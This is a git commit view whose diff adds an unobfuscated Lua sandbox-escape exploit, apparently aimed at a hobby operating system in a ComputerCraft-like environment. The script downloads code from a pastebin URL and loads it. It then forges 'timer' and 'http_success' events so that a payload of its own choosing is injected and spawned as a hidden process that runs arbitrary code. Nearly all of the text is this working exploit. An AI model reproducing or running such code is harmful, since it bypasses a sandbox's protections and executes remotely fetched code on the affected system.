Multiple changes and organization

- Deleted the old obfuscated files of the PS#2DAA86DC sandbox exploit
and added an unobfuscated version of the exploit (without some security
features) in its place
- Organized everything by PS# number - PS#2DAA86DC and PS#83EB29BE
This commit is contained in:
6_4 2020-08-22 14:19:48 -04:00
parent 6bd4ab6332
commit df4b6e1599
4 changed files with 36 additions and 1 deletions

View File

@ -0,0 +1,36 @@
-- PS#2DAA86DC (I think?)
local handle = http.get("https://pastebin.com/raw/9DV5d4Yv")
local code = handle.readAll()
handle.close()
local x = coroutine.create(function()
load(code, "PPPL")
end)
local ppl = [=[
term.clear()
term.setCursorPos(1,1)
coroutine.resume(coroutine.create(function()
process.spawn(function()
local _, payload = coroutine.yield"PAYLOAD"
return (loadstring(payload, "potatopayload"))() -- use tailcall??
end, "potatopayload", {ephemeral = true})
end))
]=]
process.spawn(function()
coroutine.resume(x, "timer", 0) -- Maybe I should've just used blank events here
coroutine.resume(x, "timer", 0)
coroutine.resume(
x,
"http_success",
"https://pastebin.com/raw/v63NQem2",
{readAll = function() return ppl end, close = function() end}
)
-- Once it's loaded, start forwarding events
while true do
coroutine.resume(x, coroutine.yield())
end
end, "pplr")

Binary file not shown.

File diff suppressed because one or more lines are too long